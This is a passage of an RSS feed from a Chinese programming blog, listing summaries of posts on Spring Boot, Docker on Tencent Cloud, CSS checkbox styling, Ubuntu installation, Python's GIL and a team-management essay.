      <guid>https://bchobby.github.io/posts/2042819802aebff664590de1b98d8620/</guid>
      <description>判断两个区间相交 /** * 判断两个区间相交 正向思维 * 四种情况： * 1.区间A[1,5] 区间B[4,8] * 2.区间A[5,9] 区间B[4,8] * 3.区间A[1,9] 区间B[4,8] * 4.区间A[5,7] 区间B[4,8] * */ public void positiveThinking(int a1, int a2, int b1, int b2) { if(a1 &amp;lt; a2 &amp;amp;&amp;amp; b1 &amp;lt; b2) { if((a1 &amp;lt; b1 &amp;amp;&amp;amp; a2 &amp;gt; b1 &amp;amp;&amp;amp; a2 &amp;lt; b2) || (a1 &amp;gt; b1 &amp;amp;&amp;amp; a1 &amp;lt; b2 &amp;amp;&amp;amp; a2 &amp;gt; b2) || (a1 &amp;lt; b1 &amp;amp;&amp;amp; a2 &amp;gt; b2) || (a1 &amp;gt; b1 &amp;amp;&amp;amp; a1 &amp;lt; b2 &amp;amp;&amp;amp; a2 &amp;lt; b2) || a1 == b1 || a2 == b1 || a1 == b1 || a2 == b2) { System.</description>
    </item>
    <item>
      <title>腾讯云安装Docker，并部署Springboot</title>
      <link>https://bchobby.github.io/posts/ae2b7b77d9c74bf63efa71a133da9774/</link>
      <pubDate>Wed, 25 Apr 2018 08:52:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae2b7b77d9c74bf63efa71a133da9774/</guid>
      <description> ​最近想在微信公众号中做个小程序出来，供大家日常生活中使用。本来打算直接调阿里api市场中提供的接口的，可是发现其中的接口都是http的，而微信小程序中要求接口必须是https的，因此只能申请个腾讯云，自己搭个后台转一下了。在探索过程中发现以下几个比较有用的文章：&#xA;1 阿里API市场 做小程序离不开数据接口，暂时先选用阿里的api市场，里面也有好多免费的api接口，只不过都是http的： 阿里API市场​2 如何申请、购买腾讯云 这个腾讯云流程写得很清楚了，学生一般会有很大优惠，如果你现在还是学生的话，建议先申请个腾讯云，巨便宜。3 在腾讯云上安装docker docker的出现让部署java程序简化了很多，具体作用就不再多讲，总结为一句话：集装箱市部署，彼此隔离独立。 在腾讯云服务器上部署docker其实异常简单，只需按照docker的官方文档照做即可，虽然文档是英文的，只要按照其中的流程挨个敲命令执行就行，尤其对于新手小白来说，千万不要想得太复杂。 docker部署官方文档4 docker环境下部署springboot程序 Springboot是目前比较流行的微服务框架，其生成的jar包在docker环境下的部署方法如下，简单明了： docker部署springboot项目 </description>
    </item>
    <item>
      <title>【解决】小程序|微信公众号授权给第三方平台时报“没有绑定公众号”</title>
      <link>https://bchobby.github.io/posts/bed029541b2fed3f6d9d57aacf5de1fc/</link>
      <pubDate>Mon, 23 Apr 2018 16:41:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bed029541b2fed3f6d9d57aacf5de1fc/</guid>
      <description>如果第三方平台没有全网发布时，要在授权账号公众号列表里面填写的原始ID。如果是测试小程序，也要加上小程序的原始ID。&#xA;实操验证的经验。&#xA;完整小程序第三方授权操作流程：1、第三方平台需要设置小程序权限集，服务器配置，并提交，不必全网发布；2、若上步未全网发布，需将要授权的小程序的原始ID配置到第三方平台的测试公众号列表中；3、在第三方发起的小程序授权登录页，要授权的小程序，需要其管理员来扫码，此时管理员微信界面上会有服务号、小程序两栏账号列表（当授权登录页的auth_type参数未设置时），选中授权即可。​4、小程序授权第三方，与小程序是否认证、什么账号类型、是否关联了服务号、是否绑定了开发者账号没有关系。</description>
    </item>
    <item>
      <title>第五十二章：基于SpringBoot2使用Rest访问MongoDB数据</title>
      <link>https://bchobby.github.io/posts/1f394741621c40800dc8ef9519fdeaf5/</link>
      <pubDate>Sun, 22 Apr 2018 10:25:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f394741621c40800dc8ef9519fdeaf5/</guid>
      <description>在之前项目中我们想要读取MongoDB内的内容需要使用MongoDBTemplate来完成数据的CRUD，那如果我们想要通过RestController的形式获取MongoDB内的数据就更麻烦了，还需要自行去创建对应的控制器，然后使用MongoDBTemplate从MongoDB内读取出数据后返回给前端。&#xA;在上一章节第五十一章：基于SpringBoot2 &amp;amp; MongoDB完成自动化集成我们讲到了SpringBoot2与MongoDB集成后怎么简单的操作数据，当然Spring Data Xxx家族方式的设计与Spring Data JPA一样，Sring Data MongoDB提供了一个MongoRepository&amp;lt;T,PK&amp;gt;接口来为继承该接口的子接口自动提供代理类完成数据操作实现。&#xA;本章目标 使用Spring Data Rest自动映射读取MongoDB内的数据，省去一系列繁琐的操作步骤。&#xA;为你推荐 第五十一章：基于SpringBoot2 &amp;amp; MongoDB完成自动化集成第五十章：SpringBoot2.0新特性 - 岂止至今最简单redis缓存集成第四十九章：SpringBoot2.0新特性 - 你get到WebMvcConfigurer两种配置方式了吗？第四十八章：SpringBoot2.0新特性 - RabbitMQ信任package设置第四十七章：SpringBoot2.0新特性 - Quartz自动化配置集成 SpringBoot 企业级核心技术学习专题 专题专题名称专题描述001Spring Boot 核心技术讲解SpringBoot一些企业级层面的核心组件002Spring Boot 核心技术章节源码Spring Boot 核心技术简书每一篇文章码云对应源码003Spring Cloud 核心技术对Spring Cloud核心技术全面讲解004Spring Cloud 核心技术章节源码Spring Cloud 核心技术简书每一篇文章对应源码005QueryDSL 核心技术全面讲解QueryDSL核心技术以及基于SpringBoot整合SpringDataJPA006SpringDataJPA 核心技术全面讲解SpringDataJPA核心技术007SpringBoot核心技术学习目录SpringBoot系统的学习目录，敬请关注点赞！！! 构建项目 使用Idea开发工具创建一个SpringBoot的项目，添加相应的依赖，pom.xml配置文件依赖内容如下所示：&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;!--mongodb依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-mongodb&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--data rest依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-rest&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--Lombok依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 我们本章节的依赖比上一章多了一个spring-boot-starter-data-rest，通过这个依赖我们可以自动完成RestController的依赖配置，不需要再手动去创建控制器，因为我们通过一些简单的注解配置以及固定格式名称规则的方法就可以完成控制器的实现。</description>
    </item>
    <item>
      <title>项目团队转型成产品团队的点点滴滴</title>
      <link>https://bchobby.github.io/posts/7496922ef911fee5de2c0851b4ed27c5/</link>
      <pubDate>Sat, 21 Apr 2018 01:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7496922ef911fee5de2c0851b4ed27c5/</guid>
      <description> 转眼间我的博客已经有将近一年半的时间没有进行更新了，从今以后要重新对博客进行维护了，新时期开始的第一篇文章，来说一说工作上的一些感悟。&#xA;刚刚参加工作的时候，进的是一个项目型的团队，主要是通过外包项目来盈利，幸运的是，应公司发展战略的要求，我们的项目团队奉命向产品研发转型，因此我才有了这篇博客中的感悟，本人工作经验不足，说的不合适的地方请大家多多包涵。 首先，一句话总结，项目是客户的，产品是自己的。 如上图，我觉得在项目团队转型成产品团队的过程中，涉及到的转变主要由以上图中所列的五项内容： 1. 客户和用户的转变 2. 团队本身的名气 3. 产品线的长线发展和运营 4. 项目管理和产品管理上的冲突 5. 风险责任的承担 接下来，我们就逐个来谈谈我自己的感想。&#xA;1、客户和用户的转变 项目型团队 项目型团队的主要任务是做项目，主要收益是来自项目的一次性佣金和之后的维护费，这些费用都是谁来付呢？都是客户来付，因此，项目收益的第一目标人群是客户，由客户再去面向用户，项目团队不会直接接触用户群体，用户的意愿也是经由客户来进行转达。接下来我们用一个简单图示来表述对于项目类型的团队，团队本身、客户群体、用户群体三者之间的相互关系： 结合上图，可以简单总结出如下几点：&#xA;1 项目团队永远都面向的是客户群体，无论是项目交付、项目运维、获取合同回款、获取维护费用，都是和客户群体在打交道2 客户负责和用户群体进行沟通，客户将拿到的项目向用户进行推广，促进用户使用，以便达成一定的目标；同时负责将用户的对项目的意愿转换成需求，再反馈给项目团队，同时支付项目的维护费用 综合以上两个观点，登出一个通俗易懂的结论：对应项目型团队来讲，客户直接给我们钱，用户间接给我们名气。&#xA;产品型团队 与项目型相对应，产品型团队的交流环节中，没有“客户”这个环节，产品一经发布，直接面向客户进行推广，直接接受用户的体验反馈，在产品的运营、推广期间，产生收益，该收益可能是用户直接支付（如开通VIP会员、购买虚拟道具等），也可能是通过用户流量产生的间接收益（如平台广告费等）。&#xA;总结 针对项目型团队和产品型团队，我们简单总结其与用户、客户间的依赖关系&#xA;项目型团队：团队面向客户，客户支付一次性佣金，同时对客户提供长期或短期的技术支持，并收取维护费用，收益明码标价，只要能够如期验收，稳赚不赔；产品型团队：团队直接面向用户，对产品平台提供近似于无限期的技术支持和主动优化任务，产品平台的用户体验直接影响团队收益，具体收益不固定，可能很多也可能很少，需要相对专业的运维和推广。 2、团队本身名气 出名要趁早，团队的名气直接决定个人的名气，个人的名气直接决定薪水（或者说是跳槽后的薪水）。 项目型团队和产品型团队，在名气方面有两个相同点：一是两种团队（或者说是所有团队）都有提高团队名气的迫切愿望；二是两种团队的名气最终的主要来源都是用户，而非客户。&#xA;项目型团队 接下来，我们用一个简单的图来解释一下项目类型团队自身名气的来源： 还是那句话，项目型团队直接面向的客户，而非用户；而从数量上来讲，用户群体的数量肯定是远远大于客户群体的数量的。名气的产生和传导相对于项目的交付是相反的过程，宣传对象也是逐级反向的，这个项目上线之后，用户使用过程中觉得好，用户称赞的是客户；客户受到用户的表扬之后，才可能继续称赞项目团队本身，给我们名气。 举个简单的例子，一个项目团队给一个学校做了一个教务管理系统，假设这个学校有一万名学生，教务处工作人员有100人，这里这一万名学生就是用户群体，100名教务处工作人员就是客户群体。那么这个教务系统主要是谁用呢？是学生用，假设这个教务系统做的很好，用起来很方便，那么这一万名学生的用户群体会夸谁呢？会给谁点赞呢？肯定是客户，他们会说“咱学校的教务系统做的真好，用起来真方便”，口耳相传，名气就产生了，只不过这个名气针对的主题是客户群体（学校教务处），而非项目团队本身。等学校教务处工作者收到广大学生的反馈，都反馈这个系统好用，那么今后在和其他学校进行沟通时，可能会说“某某公司、某某团队做的教务系统挺好用，学生们都说好”，这里也会在客户圈子中产生一种名气，这中名气针对的是项目团队本身。 针对以上这个小例子，两种名气，谁产生的，宣传的是谁，影响力、传播力方面孰轻孰重，显而易见。&#xA;产品型团队 产品型团队，直接面对用户，在名气的产生、传导过程中，没有“客户”这个中间截流环节，广大用户群体的反馈信息直接反应到产品团队本身，并直接影响产品的经济收益。产品做得好，用户直接夸具体的团队、具体的开发公司，夸得人多了，用户量就能上去，用户量上去了，用户活跃度上去了，钱自然就来了。相反的，如果产品做得不好，用户骂也是直接骂团队、骂公司，骂得人多了，产品也就凉了，收益自然也就无从谈起。&#xA;总结 在名气方面，两者区别如下：&#xA;项目型团队：由于中间有客户群体的截流，东西做得好，团队不会受到过多的宣传表扬，做的不太好，也不会直接背负过多负面问题，这在一定程度上会催生团队本身的惰性，名气和团队收益也不是强作用关系。产品型团队：由于没有中间客户的截流，产品型团队更容易获得名气，当然如果做的不好，也更容易收获骂名，名气和团队收益直接挂钩。 3、产品线的长线发展和运营 东西多了就需要成体系，这个是放之四海而皆准的道理，团队运营也不例外。然而，产品型团队和项目性团队在成体系运营的方面还是有本质差距的。 产品型团队：产品型团队的产出是产品，产品不一定只是一个，也可能是一套，这一套东西就能构成一个体系，营造一个生态。就好比一棵大树和上面的树枝一样。支线版本虽多，但归根结底大家都是一个产品生态中的，就比如当下最火的腾讯系和阿里系。腾讯系主要主要依托QQ、微信代表的社交群体主干，在这个主干基础上来构建诸如腾讯视频、腾讯游戏等等一些列周边产品；同样的阿里则是依托支付宝、淘宝等消费群体主干，构建诸如钉钉、云服务等生态服务环境。总之一句话，无论产品做得多大，多么丰富，万变不离其宗，根儿还是那一个。项目型团队：项目型团队的产出是一个个的项目，而项目是完全按照客户的意愿去做的，因此项目型团队中做得各个项目往往是呈现一种齐头并进的局面，东西大而全。如果想将各个项目做成体系，最大的问题在于如何说服客户，说直白点，你做不做成体系，跟用户没有半毛钱关系，我花一分钱，买一个项目，至于其他项目怎么布局，怎么规划，我并不关心。因此，项目型团队的项目，彼此之前可能会有联系，但很难有层次感，形成递进的那种关系，没有层次感，没有侧重点，彼此之前数据也不能互通，因此谈不上生态。 在这里多说几句，从对成果的细化、调优、长久运营来讲，项目型团队很大程度上不敌产品型团队，这里并不是说两者技术能力有多大差别，而是说两个的时间投入不同。项目型团队的时间精力更多的被分摊到各个平行的项目上，手心手背都是肉，很难将精力集中在某一个或者某几个项目上；产品型团队则不同，产品型团队的成果是有体系的、有主次的、有生态的，因此可以集中精力解决主要问题，就好比腾讯肯定要先保证QQ、微信的强大，阿里要保证支付宝的强大一样，好钢用在刀刃上，才能更锋利。 4、项目管理和产品管理上的冲突 任何团队都需要管理。项目团队需要的是项目类型的管理，产品团队需要的是产品类型的管理。 项目型团队：项目自身发生变更、优化、升级的正常来源只有一个：客户需求。在正常情况下（排除重大BUG、重大漏洞的情况），只有客户触发了需求变更，有时甚至需要相应的合同支持，项目团队才会开始对项目进行变更、修改、升级，因为毕竟当初出钱来买断项目的是客户，这种管理模式无可厚非。产品型团队： 产品型团队对产品自身的更新优化是主动的，来源是多样的。市场需求的变化、产品自身发展规划的调整、产品盈利诉求的变化，都会导致产品平台的升级更新，更新是主动的，也是利益驱使的，毕竟产品的主动权在我们手中，我们自己评估该怎么改，那就怎么改，完全是团队自主决定，无需再说服他人，说服客户。 一句话，谁出钱听谁的。客户出钱我们就以客户的意志为主导；用户出钱我们就以市场的驱使和自己的判断为主导。&#xA;5、风险的承担 产品型团队和项目型团队因为所直面的群体不一样，所有风险的承担也各有轻重。 很简单，谁直接面向用户，谁直接承担风险。项目型团队将项目交付给客户，客户将项目推广给用户，客户直接面向用户，那产生的风险首先会直接压在客户方面，然后客户再将相关的问题压力传导到项目团队，限期更新升级。对应的产品型团队将产品直接推广给用户，团队直接面向用户，那产生的风险也会直接压在产品研发团队身上，这也是小的产品团队创业不容易成功的原因，底子薄，一失足成千古恨。 举个简单例子，学校的教务系统就是一个典型项目，教务系统瘫痪了，广大学生抱怨的是学校，很少会直接抱怨开发教务系统的那个项目团队；淘宝是个典型的产品平台，如果淘宝首页404了，那老百姓肯定直接投诉到阿里了。&#xA;6、如何说服领导层从项目团队向产品团队转型 说了这么多，无非是从多个方面将项目型团队和产品型团队做了对比，在这里我想说，如果条件允许（公司实力、人员规模、收益来源稳定性等），还是应该向产品型团队进行转型。项目型的运作方式虽然可以说正常情况下只赚不赔，也不用过多的操心如何推广、如何盈利，相对产品创业团队要安逸许多，但产品型团队在效率、成就感、产品精致程度、盈利前景、名气、规划自由度等方面还是很有优势。假如你身处一个项目型的团队，你想说服领导代领团队向产品型进行转型，可以从以下几点入手：&#xA;1 归一化，维护成本降低。将项目转型成产品，最最最初级的做法就是将相似项目抽象出一个产品主线来，即主版本，有了主版本，有了归一化的项目主干，各个项目各主版本都保持少量的特色差异，这对于已有项目的维护成本、新项目的开发成本，都会有很大程度上的降低，节省工期，节省工作量。&#xA;2 盈利前景扩大化：做项目赚的的是合同钱，是死工资；做产品是自己做老板，多劳多得；要想转型做产品，起码得有个自信，相信自己能够运维得比客户更好， 推广得更厉害，技术上就更不用说了，要坚信转型成产品团队，我们的产品所带来的收益要远远比现有项目的固定收益好。&#xA;3 自己做产品能拿到数据：做项目的话，99.99%的数据是客户的；自己做的产品，100%的数据都是自己掌控的，然而，数据是无价的。&#xA;4 名气：名利名利，名气和利益是相辅相成的，名气大了才能多挣钱。自己做的产品要是真的好，想出名都是很快的事儿，典型的诸如“饿了么”这个例子。做项目能出名吗？也能，但要看客户愿不愿意给你宣传了。&#xA;7、团队的转型和已有工程项目的转型 项目型的团队能够转型成产品型的团队吗？没问题，但需要一个有话语权的产品经理来牵头。 已经卖出去的项目能变成产品吗？不可能，因为没数据，没copyright；顶多是参照产品的运营模式来运营已有项目，做归一化，抽主版本。 如果觉得这篇文章对您有所启发，欢迎关注我的公众号，我会尽可能积极和大家交流，谢谢。 </description>
    </item>
    <item>
      <title>jquery 时间戳转日期</title>
      <link>https://bchobby.github.io/posts/c9c28245b70e71e936f9bb200878c571/</link>
      <pubDate>Fri, 20 Apr 2018 14:14:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9c28245b70e71e936f9bb200878c571/</guid>
      <description> /** * 时间戳转日期 * @param timestamp * @returns {*} */ function timestampToTime(timestamp) { var date = new Date(timestamp * 1000);//时间戳为10位需*1000，时间戳为13位的话不需乘1000 Y = date.getFullYear() + &#39;-&#39;; M = (date.getMonth()+1 &amp;lt; 10 ? &#39;0&#39;+(date.getMonth()+1) : date.getMonth()+1) + &#39;-&#39;; D = date.getDate() + &#39; &#39;; h = date.getHours() + &#39;:&#39;; m = (date.getMinutes() &amp;lt; 10 ? &#39;0&#39;+(date.getMinutes()) : date.getMinutes()) + &#39;:&#39;; s = (date.getSeconds() &amp;lt; 10 ? &#39;0&#39;+(date.getSeconds()) : date.getSeconds()); return Y+M+D+h+m+s; } </description>
    </item>
    <item>
      <title>卸载win10装Ubuntu笔记</title>
      <link>https://bchobby.github.io/posts/8b7043bfdd3badaa6fc52c4cb092af48/</link>
      <pubDate>Thu, 19 Apr 2018 21:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b7043bfdd3badaa6fc52c4cb092af48/</guid>
      <description>之前装的win10系统经常动不动磁盘100%，经常卡机，所以打算卸载掉，然后装上Ubuntu系统。&#xA;（一）制作一个启动盘&#xA;(二)进入bios，将boot secure关闭&#xA;(三)通过Ubuntu启动，可以看到一个选择界面，第一项为try ubuntu without install，第二项为install ubuntu，我们先通过按键盘上的e进入如下界面： 将第二行splash —后面的’—’改为nomodeset，即变为splash nomodeset。如果不修改，可能会卡在进入Ubuntu的界面中不能往下进行。改完之后，按F10就可以进入安装。&#xA;(四)安装过程一路默认，不要联网，知道分区，如下图所示： 点击其他选项，进入自定义分区。&#xA;(五) 把除了swap盘以外的所有盘都删掉（其实swap盘也可以删掉，到时候再分配大小就好了）。 最后如图所示： 在这个空闲盘中建3个盘。 1.一个EFI盘，主分区，用于引导系统启动，2G就足矣。 2.一个根目录(/)，主分区，ET4文件系统，一般120G就可以。 3.一个home目录，逻辑分区，剩余都给它。&#xA;然后安装启动引导器的设备选择根目录对应的磁盘。&#xA;（六）等待进度条安装即可。&#xA;遇到的问题： 1.在点击install ubuntu时，一直卡在Ubuntu一点一点的图标那里，因为没有修改splash。即上面第(三)步提及的。&#xA;2.分区之后，一直提示“第一分区设备的一个vfat挂载到/boot/efi失败”，因为这个/boot/efi可能是之前win10残留的，需要先删除掉，然后重新分配。&#xA;3.安装成功后，拔掉U盘重启，显示“reboot and select proper boot device”，没有分配EFI盘用来引导启动。&#xA;4.开机的时候出现了acpi错误，ACPI Error: Namespace lookup failure，解决方法是，在开机选择ubuntu的时候，点击E，进入配置界面，将splash 后面的值删掉，改为acpi=off，即变为splash acpi=off</description>
    </item>
    <item>
      <title>Python原理知识</title>
      <link>https://bchobby.github.io/posts/0f332026221f534a1ec2086e74c7d9fe/</link>
      <pubDate>Thu, 19 Apr 2018 16:35:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f332026221f534a1ec2086e74c7d9fe/</guid>
      <description>Python原理知识 Python比C、 C++执行效率低是多种原因交织在一起的原因。&#xA;我觉得关键问题是 动态类型、解释执行、虚拟机、GIL这四个方面的问题：&#xA;1、为了支持动态类型，Python对象加入了很多抽象，执行的时候要不断的判断数据类型，带来很大的开销，动态类型的动态检查开销，降低了运行速度&#xA;2、python代码由解释器逐条解释执行（interactive model）或每次执行都要先翻译再运行，运行效率大大降低。静态编译的程序在执行前全部被翻译为机器码，而解释执行的则是一句一句边运行边翻译。&#xA;3、虚拟机带来间接开销，而且Python的虚拟机cpython性也不如jvm。&#xA;4、GIL全局锁带来的伪多线程问题，所以python大力发展协程和异步语法&#xA;C++是直接编译成可执行二进制代码，有系统原生的进程、线程加持，没有动态类型的开销，没有虚拟机的开销，如果没有使用虚函数、虚继承等特性，C++代码能获得C语言一样的效率。&#xA;同样运行在虚拟机上的java，编译成字节码再执行，效率就高多了，重IO的场景与C++相比也不遑多让。&#xA;Python的另一个解释器PyPy引入了JIT、多线程等，执行效率蹭蹭的就上去了。&#xA;cpython 也就是cpython解释器太垃圾了？python官方为什么不用pypy呢&#xA;因为pypy还是很有局限性的，对于c写的库支持问题比较大。不适合所有场景。pypy牺牲了C接口兼容性&#xA;JIT JIT编译器，英文写作Just-In-Time Compiler，中文意思是即时编译器。&#xA;JIT是一种提高程序运行效率的方法。通常，程序有两种运行方式：静态编译与动态解释。静态编译的程序在执行前全部被翻译为机器码，而解释执行的则是一句一句边运行边翻译。&#xA;Python的GIL是什么鬼，多线程性能究竟如何 前言：博主在刚接触Python的时候时常听到GIL这个词，并且发现这个词经常和Python无法高效的实现多线程划上等号。本着不光要知其然，还要知其所以然的研究态度，博主搜集了各方面的资料，花了一周内几个小时的闲暇时间深入理解了下GIL，并归纳成此文，也希望读者能通过次本文更好且客观的理解GIL。&#xA;文章欢迎转载，但转载时请保留本段文字，并置于文章的顶部 作者：卢钧轶(cenalulu) 本文原文地址：http://cenalulu.github.io/python/gil-in-python/&#xA;GIL是什么 首先需要明确的一点是GIL并不是Python的特性，它是在实现Python解析器(CPython)时所引入的一个概念。就好比C++是一套语言（语法）标准，但是可以用不同的编译器来编译成可执行代码。有名的编译器例如GCC，INTEL C++，Visual C++等。Python也一样，同样一段代码可以通过CPython，PyPy，Psyco等不同的Python执行环境来执行。像其中的JPython就没有GIL。然而因为CPython是大部分环境下默认的Python执行环境。所以在很多人的概念里CPython就是Python，也就想当然的把GIL归结为Python语言的缺陷。所以这里要先明确一点：GIL并不是Python的特性，Python完全可以不依赖于GIL&#xA;那么CPython实现中的GIL又是什么呢？GIL全称Global Interpreter Lock为了避免误导，我们还是来看一下官方给出的解释：&#xA;In CPython, the global interpreter lock, or GIL, is a mutex that prevents multiple native threads from executing Python bytecodes at once. This lock is necessary mainly because CPython’s memory management is not thread-safe. (However, since the GIL exists, other features have grown to depend on the guarantees that it enforces.</description>
    </item>
    <item>
      <title>使用css修改input框中checkbox的样式</title>
      <link>https://bchobby.github.io/posts/9b2db68478f423ca2cae8533c412d289/</link>
      <pubDate>Thu, 19 Apr 2018 11:14:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b2db68478f423ca2cae8533c412d289/</guid>
      <description>概述 在页面设计时，我们经常使用input复选框。由于界面设计的需要，我们需要修改复选框的样式，使得界面更美观或者适应新的需求。由于CheckBox伪类修改比较复杂，通常修改的方式有两种，一个是链入图片，另一个是使用纯css的方法进行修改。链入图片的设计方式比较简单，但是需要预先设计或者下载图片，比较麻烦。纯css的方法，只需要在css文件中编写代码，个人觉得比较方便，因此，本文使用该方式对input中的CheckBox进行设置。&#xA;实现效果 本文在设计时，希望达到以下效果，如图所示，每个带颜色的方块都是有input框组成，每个input框的背景色不同，并且，再点击时，只能同时选中一个input框（实现效果相当于radio）。&#xA;实现步骤 1、单个input[type=checkbox]样式修改 在设计时，我们使用&amp;lt;lable&amp;gt;标签的for属性，绑定到input标签上（for属性应对应到input标签中的id）。在jsp代码中设计如下所示：&#xA;&amp;lt;input id=&#34;color-input-red&#34; class=&#34;chat-button-location-radio-input&#34; type=&#34;checkbox&#34; name=&#34;color-input-red&#34; value=&#34;#f0544d&#34; /&amp;gt; &amp;lt;label for=&#34;color-input-red&#34;&amp;gt;&amp;lt;/label &amp;gt; 接下来我们在css文件中设置lable标签的显示样式：&#xA;/*lable标签的大小、位置、背景颜色更改，在css选择时，“+”代表相邻元素，即当前元素的下一元素*/ #color-input-red +label{ display: block; width: 20px; height: 20px; cursor: pointer; position: absolute; top: 2px; left: 15px; background: rgba(240, 84, 77, 1);; } /*当input框为选中状态时，lable标签的样式，其中在css选择时，“：”表示当前input框的值，即checked； 该部分主要对显示的“对号”的大限居中方式，显示颜色进行了设置*/ #color-input-red:checked +label::before{ display: block; content: &#34;\2714&#34;; text-align: center; font-size: 16px; color: white; } 其中里面的content表示在方框中显示的内容，&#34;\2714&#34;、&#34;\2713&#34;都表示对号，只是显示的瘦弱程度不同，大家可以在调试的时候，选择其中一个。对于css中的内容，我们可以根据需要设置为自己的内容。&#xA;最后我们在css中将原先的input[type=checkbox]的内容进行隐藏。&#xA;input[type=checkbox]{ visibility: hidden; } 最终的显示效果如下：&#xA;2、实现多个input框样式的调整 单个input框实现完成以后，同理，其他的input框实现也据此实现。使用的jsp代码如下（里面的div标签只是为布局使用）：&#xA;&amp;lt;div class=&#34;chat-windows-color-div row&#34;&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>SerDes，GTP , GTX , GTH理解</title>
      <link>https://bchobby.github.io/posts/af35feeab16196b5e11a39f130fc73bc/</link>
      <pubDate>Wed, 18 Apr 2018 13:58:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af35feeab16196b5e11a39f130fc73bc/</guid>
      <description>SerDes：是串行/解串器，也可以叫串行收发器 GT(包括GTX、GTH和GTP)：是Xilinx在高速SerDes的基础上，增加了其他模块，如8b/10b编解码等(具体可以看Xilinx相关文档，如ug476)形成的一个高速串行收发器，GT是Gigabit Transceiver的意思，它是实现当下一些高速串行接口的基础：如PCIe、RapidIO等&#xA;GTP , GTX , GTH都是串行收发器，区别在速率不一样，在不同的器件中叫的名字不同而已。&#xA;GTP: Gigabit Transceiver with Low Power&#xA;GT - Virtex-II ProGT10 - Virtex-II Pro XGT11 - Virtex-4 FXGTP - Virtex-5 LXT/SXTGTX - Virtex-5 FXT/TXT</description>
    </item>
    <item>
      <title>excel 中输入数据后自动显示日期,显示插入数据的时间</title>
      <link>https://bchobby.github.io/posts/9463369a90a0ad5759b6ee2d3ace2140/</link>
      <pubDate>Wed, 18 Apr 2018 12:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9463369a90a0ad5759b6ee2d3ace2140/</guid>
      <description>选中C列，右键--“设置单元格格式”，选择数据格式为自定义，类型格式为yyyy/m/d h:mm:ss&#xA;2.接着在单元格C2中输入函数=IF(B2=&#34;&#34;,&#34;&#34;,IF(C2=&#34;&#34;,NOW(),C2))，很简单就两个多条件IF与NOW（)函数，具体的B2与C2根据实际变动&#xA;3.框选下拉，使得后面的单元格与设置为相应的公式函数，如图所示&#xA;4.接着点击文件，在弹出的菜单中，选择选项，进入到excel的选项中&#xA;5.excel选项界中，左侧选择公式，在计算选项栏中，点击启用迭代计算，即√选上即可，再点击确定&#xA;6.这样当完成输入后，就会自动生成记录相应的录入时间，如图所示</description>
    </item>
    <item>
      <title>如何高效使用idea进行Spring boot测试？</title>
      <link>https://bchobby.github.io/posts/a740c26266259f3b744384198beb16ad/</link>
      <pubDate>Wed, 18 Apr 2018 11:59:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a740c26266259f3b744384198beb16ad/</guid>
      <description>1. 利用idea创建Spring boot项目 1. 打开idea并选择创建新项目，进入如下页面,选择Spring Initializr,选择右侧jdk以及选择Custom,将地址修改为http://start.srping.io,选择Next,填写Group和artifct,选择Next&#xA;2. 进入如下页面，选择Spring boot的依赖文件，进入Next选择文件目录，最后选择完成 3. 产生如何项目结构&#xA;4.修改结构为Source root&#xA;2. 创建测试class 1. 创建一个新的class文件&#xA;2. 对改class创建测试文件，ctrl+shift+t,选择创建New Test&#xA;3. 选择junit4和方法&#xA;4. 产生如下结构&#xA;5.编写测试代码，点击右侧按钮进行run。&#xA;3.注意事项 1. 注意在test目录下的java目录，当你想使用resources目录作为test的目录时，直接将test下的目录作为Sources Root，当你想直接创建新的test resources将test/java修改为Test Resources Root。&#xA;2. 当idea无法识别时，注意引入相应的junit包和spring boot test包</description>
    </item>
    <item>
      <title>[蓝牙开发] CC2540新手学习之点亮LED</title>
      <link>https://bchobby.github.io/posts/f7ced336941e7fec74bf81ec8a872a64/</link>
      <pubDate>Tue, 17 Apr 2018 21:57:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7ced336941e7fec74bf81ec8a872a64/</guid>
